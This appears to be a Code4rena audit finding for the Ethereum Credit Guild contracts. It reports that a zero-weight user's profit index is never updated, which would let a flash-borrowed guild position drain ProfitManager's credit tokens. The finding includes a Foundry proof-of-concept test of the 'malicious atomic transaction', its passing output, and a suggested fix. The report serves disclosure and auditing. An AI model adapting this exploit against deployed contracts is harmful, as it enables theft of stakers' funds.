Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L424-L426 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L219-L226

Vulnerability details

Impact

Anyone can steal all the balance of credit tokens from the profitManager. They can steal all the stake and all the unclaimed rewards atomically with 0 risk if the guild tokens become transferrable. This causes a total loss of funds for all stakers.

Proof of Concept

There is an option for the guild tokens to become transferrable if the governance decides so. Since it is an option I think it is most likely to happen in the future.

function enableTransfer() external onlyCoreRole(CoreRoles.GOVERNOR) {
    transferable = true;
    emit TransfersEnabled(block.number, block.timestamp);
}

Since guild tokens are now transferrable it is possible to get a large amount of tokens for a single tx. (eg. flashloan, flash swap etc.).

Let's look at the following scenario

There are 100 credit tokens staked at the SurplusGuildMinter. The funds are donated to the termSurplusBuffer and transferred to the associated profitManager.

SurplusGuildMinter.sol

function stake(address term, uint256 amount) external whenNotPaused {
    ...
    // pull CREDIT from user & transfer it to surplus buffer
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    CreditToken(credit).approve(address(profitManager), amount);
    ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);
    ...
}

ProfitManager.sol

function donateToTermSurplusBuffer(address term, uint256 amount) external {
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
    termSurplusBuffer[term] = newSurplusBuffer;
    emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}

If someone repays the loan, interest will be sent to the profitManager. This would increase the balance of profitManager even further.
An attacker could now see that profitManager holds X amount of credit tokens and decide to steal it all without bearing any risk.
Alice is the attacker and she starts by flashloaning guild tokens.
She will then increase her weight in a gauge using guild.incrementGauge(gauge, guildAmount) instead of staking through the SGM. Why?
If she staked through SGM the weight will increment for SGM and not for alice as the SGM is the caller of the incrementGauge function.
By calling the function directly on the gauge she can increase the weight in the given gauge and keep the userGaugeProfitIndex for alice at the given term at 0. OOOOPS

The incrementGauge will make a call to ProfitManager(profitManager).claimGaugeRewards(user, gauge) which is supposed to update the userGaugeProfitIndex.

function _incrementGaugeWeight(
address user,
address gauge,
uint256 weight
) internal override {
uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];

if (getUserGaugeWeight[user][gauge] == 0) {
    lastGaugeLossApplied[gauge][user] = block.timestamp;
} else {
    require(
        _lastGaugeLossApplied >= _lastGaugeLoss,
        "GuildToken: pending loss"
    );
}

ProfitManager(profitManager).claimGaugeRewards(user, gauge);

super._incrementGaugeWeight(user, gauge, weight);
}

But it will not do so if the weight of a user is currently 0, which it is for alice so this step is skipped and the userGaugeProfitIndex remains at 0. If she were to stake through the SGM this would be updated correctly as the weight the PSM has in the current gauge is not 0 if there are any rewards.

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
    if (_userGaugeWeight == 0) {
        return 0;
    }
   ...
}

Now following the equation to calculate the amount of credit tokens earned with respect to the change of the profit indexes from the user and the latest index multiplied by the userWeight we can derive an equation that Alice needs to use to steal all the credit tokens.
```
creditEarned = userGaugeWeight * deltaIndex
deltaIndex = gaugeProfitIndex - userGaugeProfitIndex
=> userGaugeWeight = creditEarned / deltaIndex
```
She needs to obtain userGaugeWeight weight in the gauge to steal the creditEarned amount of credit tokens. Her userGaugeProfitIndex is set to 0 but will be set to 1e18 in the code.
```
if (_userGaugeProfitIndex == 0) {
_userGaugeProfitIndex = 1e18;
}
```
She makes a call to guild.incrementGauge(term, userGaugeWeight);
And then profitManager.claimGaugeRewards(alice, term);
She will drain all of the balance from profitManager. (-1 wei due to potential rounding errors). See the coded POC below

Coded POC

Add this test to SurplusGuildMinter.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv

function testStealFromProfitManager() public {
    address alice = address(0x616c696365);
    address bob = address(0xB0B);

    // Governance enables the transfer of guild tokens. This will most likely result in a creation
    // of liquidity pools on dexes such as uniswap etc.
    vm.prank(governor);
    guild.enableTransfer();

    // Governor sets the profit sharing config
    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        0.5e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob stakes 100 CREDIT tokens
    credit.mint(address(bob), 100e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 100e18);
    sgm.stake(term, 100e18);
    vm.stopPrank();

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for profits
    // so we don't to complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, 35e18);

    uint256 alice_balance_before = credit.balanceOf(alice);
    uint256 profit_manager_balance_before = credit.balanceOf(address(profitManager));

    // ------------- MALICIOUS ATOMIC TRANSACTION -------------
    // If a user can obtain a lot of guild tokens he could perform the following attack
    // atomically without any risk 

    // Flashloan guild tokens as they are now transferrable. User can borrow funds from the uniswap pool in a flash swap
    // As guild is the same for the whole protocol obtaining guild shouldn't be too hard
    uint256 flashloanAmount = 100000e18;
    guild.mint(address(alice), flashloanAmount);

    vm.startPrank(alice);
    uint256 gaugeProfitIndex = profitManager.gaugeProfitIndex(address(term));

    // Since userGaugeProfitIndex is 0 it will be set to 1e18 inside ProfitManager::claimGaugeRewards
    // creditEarned = userGaugeWeight * deltaIndex
    // deltaIndex = gaugeProfitIndex - userGaugeProfitIndex
    // => userGaugeWeight = creditEarned / deltaIndex
    uint256 deltaIndex = gaugeProfitIndex - 1e18;
    uint256 guild_to_provide = (profit_manager_balance_before * 1e18) / deltaIndex;

    // Bypass the SGM and incrementGauge directly
    guild.incrementGauge(address(term), guild_to_provide);

    // userGaugeProfitIndex still at 0 as it does not update for the first time and is not called through the SGM
    uint256 userGaugeProfitIndex = profitManager.userGaugeProfitIndex(address(alice), address(term)); 
    assertEq(userGaugeProfitIndex, 0);

    // User now has weight in the gauge and can claim rewards but his userGaugeProfitIndex is still 0
    profitManager.claimGaugeRewards(address(alice), address(term));
    guild.decrementGauge(address(term), guild_to_provide);

    // Repay the flashloan - if there is any fee to repay it can be obtained from the profits made
    guild.burn(flashloanAmount);
    vm.stopPrank();
    // ------------- END MALICIOUS ATOMIC TRANSACTION -------------

    uint256 alice_balance_after = credit.balanceOf(alice);
    uint256 profit_manager_balance_after = credit.balanceOf(address(profitManager));

    console.log("Credit balance of profitManager before attack:", profit_manager_balance_before);
    console.log("Credit balance of profitManager after attack :", profit_manager_balance_after);
    console.log();
    console.log("Alice credit balance before attack           :", alice_balance_before);
    console.log("Alice credit balance after attack            :", alice_balance_after);
    console.log("--------------------------------------------------------------------");
    console.log("Alice profit                                 :", alice_balance_after - alice_balance_before);
}

[PASS] testStealFromProfitManager() (gas: 716352)
Logs:
  Credit balance of profitManager before attack: 135000000000000000000
  Credit balance of profitManager after attack : 1

  Alice credit balance before attack           : 0
  Alice credit balance after attack            : 134999999999999999999
  --------------------------------------------------------------------
  Alice profit                                 : 134999999999999999999

Tools Used

Manual review

Recommended Mitigation Steps

Claim the rewards and update the indexes even if the userGaugeWeight in a giver term is 0.

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
-   if (_userGaugeWeight == 0) {
-       return 0;
-   }
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];

    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }

    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}

Assessed type

Invalid Validation

code-423n4 / 2023-12-ethereumcreditguild-findings

Anyone can steal all the balance of credit tokens from the `profitManager` #1016